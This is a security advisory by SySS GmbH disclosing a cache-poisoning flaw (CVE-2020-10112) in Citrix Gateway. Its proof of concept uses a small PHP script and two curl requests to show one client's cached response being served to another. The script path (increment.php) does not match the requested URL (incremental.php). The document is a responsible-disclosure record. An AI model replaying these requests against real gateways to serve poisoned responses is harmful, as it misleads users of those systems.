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Advisory ID: SYSS-2020-005  
Product: Citrix Gateway  
Manufacturer: Citrix Systems, Inc.  
Affected Version(s): 11.1, 12.0, 12.1  
Tested Version(s): 11.1.63.15, 12.0.63.13, 12.1.55.18  
Vulnerability Type: Cache Poisoning (CAPEC-141)  
Risk Level: Low  
Solution Status: Open  
Manufacturer Notification: 2020-01-31  
Solution Date: no solution  
Public Disclosure: 2020-03-05  
CVE Reference: CVE-2020-10112  
Author of Advisory: Micha Borrmann (SySS GmbH)  
  
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Overview:  
  
"Citrix Gateway is a customer-managed solution that can be deployed on  
premises or on any public cloud, such as AWS, Azure, or Google Cloud  
Platform. Citrix Gateway provides users with secure access and single  
sign-on to all the virtual, SaaS and web applications they need to be  
productive." (see [1])  
  
The solution contains a caching system, which stores dynamic content  
for a static period of time. During the caching time, even requests  
with individual parameters are answered with the cached value. This  
can be abused for cache poisoning.  
  
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Vulnerability Details:  
  
If a client is asking for an URL with parameter "value=A", the  
parameter will be processed and the response will be cached. If  
another client is requesting the same URL but with a different  
parameter "value=B", the request will be answered with the initial  
response ("value=A") during the caching time (for 112 seconds).  
  
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Proof of Concept (PoC):  
  
Provide on a Citrix Gateway system ($NSGATEWAYHOST) the following PHP  
script at /var/netscaler/logon/increment.php.  
  
<?php  
print(++$_POST[value]);  
print("\n");  
?>  
  
The first response will be processed correctly, meaning that the  
provided value in the HTTP response will be incremented by one.  
  
$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=41"   
HTTP/1.1 200 OK  
Age: 1   
Date: Fri, 31 Jan 2020 12:13:11 GMT  
Expires: Thu, 01 Jan 1970 00:00:01 GMT  
Cache-Control: no-store, must-revalidate  
Connection: Keep-Alive  
Via: NS-CACHE-10.0: 121  
ETag: "KXGGENKFDKPU"  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Pragma: no-cache  
Content-Length: 3  
Content-Type: text/html; charset=UTF-8  
  
42  
  
  
A later request will be answered with the same value, even with  
another browser from another source IP address:  
  
$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=77" --user-agent "Mozilla"  
HTTP/1.1 200 OK  
Age: 71   
Date: Fri, 31 Jan 2020 12:13:11 GMT  
Expires: Thu, 01 Jan 1970 00:00:01 GMT  
Cache-Control: no-store,must-revalidate  
Connection: Keep-Alive  
Via: NS-CACHE-10.0: 121  
ETag: "KXGGENKFDKPU"  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
Pragma: no-cache  
Content-Length: 3  
Content-Type: text/html; charset=UTF-8  
  
42  
  
  
If the age of the response reaches 112, the cache will be cleared and  
then the correct value will be used.  
  
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Solution:  
  
SySS GmbH is not aware of a solution to the described security issue.  
The Citrix Security Response Team responded on 02/28/2020 with the  
following statement: "We have determined that the described cache  
behavior does not have a security impact and is not considered a  
vulnerability."  
  
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Disclosure Timeline:  
  
2020-01-22: Detection of the vulnerability  
2020-01-31: Vulnerability reported to manufacturer  
2020-02-28: Received vendor's response  
2020-03-04: CVE number assigned  
2020-03-05: Public release of the security advisory  
  
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References:  
  
[1] Citrix Gateway product website  
https://www.citrix.com/products/citrix-gateway/  
[2] SySS Security Advisory SYSS-2020-005  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-005.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Micha Borrmann of SySS GmbH.  
  
E-Mail: micha.borrmann (at) syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc  
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6 0DD4 EDBE 26E7 14EA 5876  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory  
may be updated in order to provide as accurate information as  
possible. The latest version of this security advisory is available on  
the SySS Web site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en